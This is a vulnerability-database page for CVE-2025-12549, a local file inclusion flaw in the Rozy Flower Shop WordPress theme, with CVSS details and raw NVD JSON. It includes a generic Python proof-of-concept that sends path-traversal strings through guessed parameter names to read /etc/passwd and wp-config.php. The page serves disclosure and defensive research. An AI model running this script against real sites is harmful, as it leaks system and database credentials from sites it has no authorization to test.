Security Vulnerability Report
中文
CVE-2025-12549 CVSS 8.1 HIGH

CVE-2025-12549

Published: 2026-01-08 10:15:44
Last Modified: 2026-04-27 18:16:20

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in magentech Rozy - Flower Shop rozy allows PHP Local File Inclusion.This issue affects Rozy - Flower Shop: from n/a through <= 1.2.25.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Rozy - Flower Shop <= 1.2.25

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-12549 PoC - Local File Inclusion in Rozy - Flower Shop # Affected: Rozy - Flower Shop <= 1.2.25 def check_vulnerability(base_url): """Check if the target is vulnerable to LFI""" # Target files to read targets = [ '../../../../../../etc/passwd', '../../../../../../wp-config.php', '../../../../../../../../etc/passwd' ] # Common parameter names used in file inclusion vulnerabilities params = ['file', 'page', 'template', 'include', 'load', 'view'] for param in params: for target in targets: try: # Test for local file inclusion url = base_url if base_url.endswith('/') else base_url + '/' response = requests.get(url, params={param: target}, timeout=10) # Check if file content is leaked if 'root:' in response.text or 'wp-config' in response.text: print(f'[+] VULNERABLE! Parameter: {param}') print(f'[+] Leaked file: {target}') print(f'[+] Response length: {len(response.text)} bytes') return True except requests.RequestException as e: print(f'[-] Error: {e}') continue print('[-] Target may not be vulnerable') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_url>') print(f'Example: python {sys.argv[0]} http://target.com/wp-content/themes/rozy') sys.exit(1) target_url = sys.argv[1] check_vulnerability(target_url)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12549", "sourceIdentifier": "[email protected]", "published": "2026-01-08T10:15:44.100", "lastModified": "2026-04-27T18:16:20.230", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in magentech Rozy - Flower Shop rozy allows PHP Local File Inclusion.This issue affects Rozy - Flower Shop: from n/a through <= 1.2.25."}, {"lang": "es", "value": "Control inadecuado del nombre de fichero para la declaración Include/Require en el programa PHP ('PHP inclusión remota de ficheros') vulnerabilidad en magentech Rozy - Flower Shop rozy permite PHP inclusión local de ficheros. Este problema afecta a Rozy - Flower Shop: desde n/d hasta &lt;= 1.2.25."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/rozy/vulnerability/wordpress-rozy-flower-shop-theme-1-2-25-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}